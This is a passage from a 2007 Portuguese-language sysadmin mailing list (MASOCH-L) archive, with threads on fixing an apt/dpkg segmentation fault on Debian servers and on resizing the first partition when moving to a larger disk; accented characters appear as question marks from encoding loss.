/lib/libnss_nis-2.3.6.so
/lib/libnss_nisplus-2.3.6.so
/lib/libpcprofile.so
/lib/alpha-linux-gnu
/lib/libc-2.3.6.so
/lib/libpthread-0.10.so
/lib/libnss_hesiod-2.3.6.so
/lib/ld-2.3.6.so
.
.
.

D? uma 'googlada' tamb?m, talvez algu?m j? passou por isso e seja
simples resolver.

At? mais, abra?os!


Rafael Possamai wrote:
> Opa,
> 
>     Obrigado, com esse comando eu resolvi o problema do servidor2, creio que 
> no pr?ximo boot n?o vou ter problemas, espero...
>     J? o servidor1 continua com o mesmo problema de segmentation fault, 
> exemplo:
> 
> root at spitfire:~# apt-get -f install (outros comandos tambem, tipo o update, 
> check, autoclean, etc)
> Lendo lista de pacotes... Pronto
> Falha de segmenta??oe depend?ncias... 50%
> root at spitfire:~#
> 
>     Ser? que ? problema no apt mesmo?
>     A respeito da atualiza??o de sarge para etch, eu fiz no servidor1 e n?o 
> tive problemas tamb?m, deu tudo certo, j? o servidor2 est? em produ??o e a? 
> para evitar crashes e outros problemas vou atualizar mais para frente. Isso 
> a? no apt ocorreu hoje somente, at? achei que fosse algum defeito no update.
> 
> 
> Grato,
> Rafael
> 
> 
> ----- Original Message ----- 
> From: "Jorge Luiz Correa" <jorge at acmesecurity.org>
> Subject: Re: [MASOCH-L] erro com apt+dpkg
> 
> 
> Atualizei os servidores aqui para etch (stable) e n?o tive problemas.
> Tente criar o arquivo (caso n?o exista) chamado apt.conf dentro do
> /etc/apt/ com a linha
> 
> APT::Default-Release "stable";
> 
> Depois tente rodar um apt-get update e um apt-get -f install para
> corrigir os erros de depend?ncias. Isto pode ser bom caso utilize alguns
> pacotes da testing.
> 
> Abra?os!
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l





-- 
jorge (shift+2) acmesecurity . org
ACME! - Advanced Counter-Measures Environment
Computer Security Research - Unesp


From rafaelpossa at gmail.com  Sat Apr 28 12:38:41 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Sat, 28 Apr 2007 12:38:41 -0300
Subject: [MASOCH-L] erro com apt+dpkg
References: <000e01c78985$133785d0$0200a8c0@OASIS>	<463349F7.3050604@acmesecurity.org><000901c789a2$c3009110$0200a8c0@OASIS>
	<463363B8.5030806@acmesecurity.org>
Message-ID: <002f01c789ab$4f0d67c0$0200a8c0@OASIS>


Grato pela ajuda Jorge, vou seguir os passos que voc? listou e dou uma 
resposta pra avisar se deu certo ou n?o!

A ?nica coisa estranha ? que esse problema surgiu do nada, durante a 
instala??o de alguns pacotes, como mostrei antes...

No meu caso:
# apt-cache show dpkg
Pre-Depends: libc6 (>= 2.3.6-6), coreutils (>= 5.93-1) (est?o instalados)

# apt-cache show libc6
Depends: tzdata  (est? instalado)

# apt-cache show coreutils
Pre-Depends: libacl1 (>= 2.2.11-1), libc6 (>= 2.3.6-6), libselinux1 (>= 
1.32) (est?o instaladas)

Aparentemente todos essas depend?ncias j? est?o instaladas e todas as 
depend?ncias destas depend?ncias tamb?m, s? resta verificar se est?o 
funcionando, o que ? complicado de fazer.

Bom, sobre o dpkg, ele parece estar ok, funcionando.

Grato,
Rafael



----- Original Message ----- 
From: "Jorge Luiz Correa" <jorge at acmesecurity.org>
To: "Mail Aid and Succor, On-line Comfort and Help" 
<masoch-l at eng.registro.br>
Sent: Saturday, April 28, 2007 12:09 PM
Subject: Re: [MASOCH-L] erro com apt+dpkg


Ol? Rafael!

Como est? dando Segmentation Fault, provavelmente falta alguma coisa
durante a execu??o do dpkg. Como o linux usa diversas bibliotecas
din?micas, pode ser que algumas delas n?o estejam presentes. Voc? pode
fazer uma checagem. L? vai:

# apt-cache show dpkg
.
.
Pre-Depends: libc6.1 (>= 2.3.5-1), coreutils (>= 5.93-1)
.
.

(Ah, rode o apt-cache show dpkg ai, visto que estou na etch j?, e talvez
as vers?es n?o batam).

Assim, para o dpkg funcionar voc? deve possuir libc6 e coreutils. Veja
que, o processo ? recursivo. libc6 deve ter depend?ncias e coreutils
tamb?m. Como seu apt deu problema, seria necess?rio que voc? instalasse
todas elas na m?o.

Se o seu apt-cache n?o funcionar, voc? pode consultar as depend?ncias
online, no site do debian (um apt online praticamente):

http://www.debian.org/distrib/packages#search_packages

Ent?o, pode baixar os pacotes que faltam. S? que, voc? deve dar um jeito
de instalar estes pacotes. Resta saber como, visto que o dpkg -i
pacote.deb acho que n?o funcionar? tamb?m.

Talvez possa tentar alguma coisa com um livecd, como o kurumim ou
knoppix (que s?o baseados no debian).

Sendo mesmo problema de falta de bibliotecas, no pior caso, talvez
copiando na m?o os arquivos faltantes para os diret?rios corretos o
segmentation fault seja sanado. Em alguma outra m?quina, rode dpkg -L
lig6c para ver os arquivos que ele possui, e onde ficam. Exemplo:

# dpkg -L libc6.1
/.
/lib
/lib/libdl-2.3.6.so
/lib/libcrypt-2.3.6.so
/lib/librt-2.3.6.so
/lib/libcidn-2.3.6.so
/lib/libthread_db-1.0.so
/lib/libnss_compat-2.3.6.so
/lib/libnss_nis-2.3.6.so
/lib/libnss_nisplus-2.3.6.so
/lib/libpcprofile.so
/lib/alpha-linux-gnu
/lib/libc-2.3.6.so
/lib/libpthread-0.10.so
/lib/libnss_hesiod-2.3.6.so
/lib/ld-2.3.6.so
.
.
.

D? uma 'googlada' tamb?m, talvez algu?m j? passou por isso e seja
simples resolver.

At? mais, abra?os!




From silvio.cesar at unigranrio.edu.br  Mon Apr 30 08:14:31 2007
From: silvio.cesar at unigranrio.edu.br (silvio.cesar at unigranrio.edu.br)
Date: Mon, 30 Apr 2007 08:14:31 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?Redimensionar_primeira_parti=E7=E3o?=
Message-ID: <4635CF97.2000008@unigranrio.edu.br>

Bom dia,


Algu?m conhece algum software que redimensione a primeira parti??o de um
disco ?

Tenho um disco de 80GB e estou trocando para um de 200GB, mas queria
redimensionar a primeira parti??o que ? de 20GB para algo maior.

O que quero ? redimensionar a primeira parti??o de um total de duas do
disco.

Ex.:
|  part1 |     part2     |
para algo como:
|              part1             |     part2     |

-- 
Att,

Silvio Cesar L. dos Santos
Analista de Redes Pleno
DTI - Divis?o de Tecnologia da Informa??o
UNIGRANRIO - Universidade do Grande Rio
+55 21 2672-7720
silviocesar at unigranrio.edu.br
http://www.unigranrio.edu.br


From jorge at acmesecurity.org  Mon Apr 30 08:58:23 2007
From: jorge at acmesecurity.org (Jorge Luiz Correa)
Date: Mon, 30 Apr 2007 08:58:23 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?Redimensionar_primeira_parti=E7=E3o?=
In-Reply-To: <4635CF97.2000008@unigranrio.edu.br>
References: <4635CF97.2000008@unigranrio.edu.br>
Message-ID: <4635D9DF.9080208@acmesecurity.org>

Ol? Silvio.

Existe um programa chamado Acronis Disk Director que realiza esta
opera??o. J? fiz isto uma vez, mas com backup de tudo, visto que mexer
em tabela de parti??es ? um processo arriscado.

Na Internet voc? encontra uma imagem de 16MB deste programa. ? s?
colocar num cd que ela ? boot?vel. Abre um ambiente gr?fico (padr?o
windows) onde voc? aumenta, diminui, move, cria, apaga, etc as parti??es.

Abra?os!

silvio.cesar at unigranrio.edu.br wrote:
> Bom dia,
> 
> 
> Algu?m conhece algum software que redimensione a primeira parti??o de um
> disco ?
> 
> Tenho um disco de 80GB e estou trocando para um de 200GB, mas queria
> redimensionar a primeira parti??o que ? de 20GB para algo maior.
> 
> O que quero ? redimensionar a primeira parti??o de um total de duas do
> disco.
> 
> Ex.:
> |  part1 |     part2     |
> para algo como:
> |              part1             |     part2     |
> 





-- 
jorge (shift+2) acmesecurity . org
ACME! - Advanced Counter-Measures Environment
Computer Security Research - Unesp


From senomoto at estadao.com.br  Mon Apr 30 23:03:32 2007
From: senomoto at estadao.com.br (Sandro Enomoto)
Date: Mon, 30 Apr 2007 23:03:32 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?Redimensionar_primeira_parti=E7=E3o?=
In-Reply-To: <4635CF97.2000008@unigranrio.edu.br>
References: <4635CF97.2000008@unigranrio.edu.br>
Message-ID: <6.2.3.4.2.20070430225753.0587aa80@mx0.estadao.com.br>

1) Espete os dois HDs em controladoras diferentes para dar mais performance;
2) Fa?a um boot com o Ubuntu ou o System Rescue CD
3) Faca a c?pia (raw) da 1. parti??o do HD de 80 GB para o HD de 200 GB;
4) Use o parted ou o qtparted para redimensionar a parti??o do HD de 200 GB;
5) Copie a 2. parti??o do HD de 80GB para o de 200GB.

-System Rescue:

www.sysresccd.org

O system rescue permite voc? fazer backup pela 
rede e ainda fazer mount NTFS com grava??o.



At 08:14 30/4/2007 -0300, you wrote:
>Bom dia,
>
>
>Algu?m conhece algum software que redimensione a primeira parti??o de um
>disco ?
>
>Tenho um disco de 80GB e estou trocando para um de 200GB, mas queria
>redimensionar a primeira parti??o que ? de 20GB para algo maior.
>
>O que quero ? redimensionar a primeira parti??o de um total de duas do
>disco.
>
>Ex.:
>|  part1 |     part2     |
>para algo como:
>|              part1             |     part2     |
>
>--
>Att,
>
>Silvio Cesar L. dos Santos
>Analista de Redes Pleno
>DTI - Divis?o de Tecnologia da Informa??o
>UNIGRANRIO - Universidade do Grande Rio
>+55 21 2672-7720
>silviocesar at unigranrio.edu.br
>http://www.unigranrio.edu.br
>__
>masoch-l list
>https://eng.registro.br/mailman/listinfo/masoch-l